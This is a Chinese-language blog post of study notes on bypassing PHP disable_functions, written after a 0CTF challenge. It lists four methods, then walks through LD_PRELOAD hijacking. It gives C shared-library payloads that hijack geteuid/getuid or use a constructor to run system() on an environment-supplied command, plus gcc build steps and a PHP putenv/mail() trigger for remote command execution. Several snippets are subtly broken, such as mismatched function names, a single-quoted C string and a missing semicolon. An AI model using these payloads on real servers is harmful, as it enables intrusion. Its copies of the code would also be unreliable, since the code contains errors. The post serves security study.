PHP Bypass disabled_functions

0ctf中rr师傅出了一道关于Bypass disabled_functions的题目,正好这方面是自己的知识盲区,在这里学习一下。

有四种绕过 disable_functions 的手法:
- 第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
- 第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
- 第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
- 第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

来源于:https://www.freebuf.com/articles/web/192052.html
这里我们只详细学习第四种方法。

前置知识

CVE-2016-3714

影响版本:ImageMagick6.5.7-8 2012-08-17
ImageMagick6.7.7-10 2014-03-06
低版本至6.9.3-9 released 2016-04-30
漏洞简述: 产生原因是因为字符过滤不严谨所导致的执行代码. 对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
ImageMagick命令执行漏洞分析

LD_PRELOAD

image.png

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

putenv

image.png

__attribute__((constructor))

GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象(动态链接库)中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

Bypass disabled_functions

大致步骤如下
- 生成一个我们的恶意动态链接库文件
- 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
- 配合php的某个函数去触发我们的恶意动态链接库文件
- RCE

这里面的某个函数需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。

函数

其中有不少函数可以满足,比如ImageMagickmailerror_log

  • 当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
  • mail函数运行时,程序会启动子进程来调用sendmail
    image.png

  • error_log的第二个参数 message_type 的值为 1 的时候,会调用mail 函数的同一个内置函数sendmail
    image.png

一、劫持子进程所调用的函数

mailerror_log都调用了外部进程sendmail
readelf -Ws /usr/sbin/sendmail查看senmail调用的函数,这里选择劫持getuid
image.png
getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > test");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

生成动态链接程序

gcc -c -fPIC getuid.c -o getuid
gcc --share getuid -o getuid.so

编写php脚本

<?php
putenv("LD_PRELOAD=./getuid.so");
mail("","","","","");
or
putenv("LD_PRELOAD=./test.so");
error_log('',1);
?>

二、利用__attribute__ ((__constructor__))

Li4n0师傅讲的很清楚
image.png
除了php解释器 /usr/bin/php 之外的第一个进程,其实是/bin/sh,而并非/usr/sbin/sendmail!然而这篇文章的作者似乎却忽略了/bin/sh
image.png
我们可以利用LD_PRELOAD劫持/bin/sh 的库函数。

#include <stdlib.h>
#include <string.h>
void payload() {
    const char* cmd = getenv('CMD')
    system(cmd);
}
int getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

或者我们依然可以利用__attribute__ ((__constructor__)),而不需要去劫持程序调用的库函数。

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

后记

这篇文章只是自己对Bypass disabled_functions的一个简单了解,具体各种骚操作可以参考下面一些大佬们的文章。

Referer

bypass_disablefunc_via_LD_PRELOAD
深入浅出LD_PRELOAD & putenv()
TCTF2019 WallBreaker-Easy 解题分析
How to bypass disable_functions and open_basedir
Bypass disabled_functions一些思路总结
TCTF2019 WallBreaker-Easy 解题分析
PHP Execute Command Bypass Disable_functions
无需sendmail:巧用LD_PRELOAD突破disable_functions
警惕UNIX下的LD_PRELOAD环境变量